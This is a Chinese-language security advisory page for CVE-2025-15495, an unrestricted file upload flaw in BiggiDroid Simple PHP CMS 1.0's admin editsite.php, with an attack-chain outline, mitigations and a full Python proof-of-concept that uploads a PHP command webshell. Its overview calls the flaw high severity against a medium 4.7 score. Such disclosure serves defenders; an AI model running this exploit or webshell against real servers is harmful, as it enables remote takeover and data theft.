IPBUF安全漏洞报告
English
CVE-2025-15495 CVSS 4.7 中危

CVE-2025-15495 BiggiDroid Simple PHP CMS 1.0 无限制文件上传漏洞

披露日期: 2026-01-09

漏洞信息

漏洞编号
CVE-2025-15495
漏洞类型
无限制文件上传
CVSS评分
4.7 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
BiggiDroid Simple PHP CMS 1.0

相关标签

CVE-2025-15495无限制文件上传远程代码执行BiggiDroidSimple PHP CMSWebShell上传权限绕过PHP漏洞内容管理系统

漏洞概述

CVE-2025-15495是BiggiDroid Simple PHP CMS 1.0版本中的一个高危安全漏洞。该漏洞存在于管理后台的editsite.php文件中,攻击者可以通过操纵image参数实现任意文件上传。由于系统缺乏对上传文件的有效验证和过滤,攻击者可以上传恶意文件(如WebShell)并获取服务器执行权限,从而实现远程代码执行。该漏洞的CVSS评分为4.7,属于中危级别。攻击复杂度较低,但需要高权限认证。攻击者可利用该漏洞完全控制受影响的Web服务器,窃取敏感数据、植入后门或进行进一步的内网渗透。由于该漏洞的利用代码已公开披露,建议受影响的用户立即采取修复措施。

技术细节

漏洞位于BiggiDroid Simple PHP CMS 1.0的/admin/editsite.php文件中的image参数处理逻辑。该功能允许管理员编辑网站配置信息,其中包括上传网站Logo或背景图片等。然而,系统在处理image参数时未对上传文件的类型、内容和扩展名进行充分的验证。攻击者可以利用这个缺陷上传包含恶意PHP代码的文件(如.php、.phtml等),然后通过访问上传的文件路径来执行任意PHP代码。由于该漏洞需要高权限认证,攻击者需要先获取管理员账户或利用其他认证绕过漏洞。成功利用后,攻击者可以在服务器上执行系统命令、上传更多恶意工具或建立持久化后门。

攻击链分析

STEP 1
步骤1
获取管理员凭证:攻击者通过暴力破解、社会工程学或其他漏洞获取BiggiDroid CMS的管理员账户凭据
STEP 2
步骤2
访问管理后台:使用获取的管理员凭证登录/admin/index.php管理后台
STEP 3
步骤3
构造恶意上传请求:构造包含PHP webshell的恶意文件,通过/admin/editsite.php的image参数进行上传
STEP 4
步骤4
绕过文件验证:由于系统缺乏严格的MIME类型和扩展名检查,恶意PHP文件成功上传到服务器
STEP 5
步骤5
触发webshell执行:访问上传的恶意文件路径,如/uploads/或/images/目录下的shell.php文件
STEP 6
步骤6
远程代码执行:通过webshell执行任意系统命令,获取服务器完全控制权,可进一步进行内网渗透或植入持久化后门

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-15495 PoC - BiggiDroid Simple PHP CMS Unrestricted File Upload # Target: BiggiDroid Simple PHP CMS 1.0 # Vulnerability: Unrestricted file upload in /admin/editsite.php (image parameter) def exploit_upload(target_url, username, password, webshell_content): """ Exploit the unrestricted file upload vulnerability """ # Login to admin panel login_url = target_url + '/admin/index.php' login_data = { 'username': username, 'password': password } session = requests.Session() login_response = session.post(login_url, data=login_data) if 'admin' not in login_response.text.lower(): print('[-] Login failed') return False print('[+] Login successful') # Upload malicious file upload_url = target_url + '/admin/editsite.php' files = { 'image': ('shell.php', webshell_content, 'application/x-php') } try: upload_response = session.post(upload_url, files=files) print('[+] File upload attempted') # Check if upload was successful if upload_response.status_code == 200: print('[+] Exploit sent - Check for uploaded webshell') return True except Exception as e: print(f'[-] Error: {str(e)}') return False return False if __name__ == '__main__': if len(sys.argv) < 3: print(f'Usage: python {sys.argv[0]} <target_url> <username> <password>') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] # PHP webshell content webshell = '<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>' exploit_upload(target, user, pwd, webshell)

影响范围

BiggiDroid Simple PHP CMS 1.0

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)限制管理后台访问IP,仅允许可信IP地址访问/admin目录;2)禁用不必要的文件上传功能或临时关闭editsite.php页面;3)配置Web服务器(如Apache/Nginx)禁止执行.php文件在上传目录中;4)启用Web应用防火墙规则检测和阻止恶意文件上传行为;5)加强对管理员账户的监控,检测异常登录和操作行为;6)定期备份网站数据以便在遭受攻击后快速恢复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表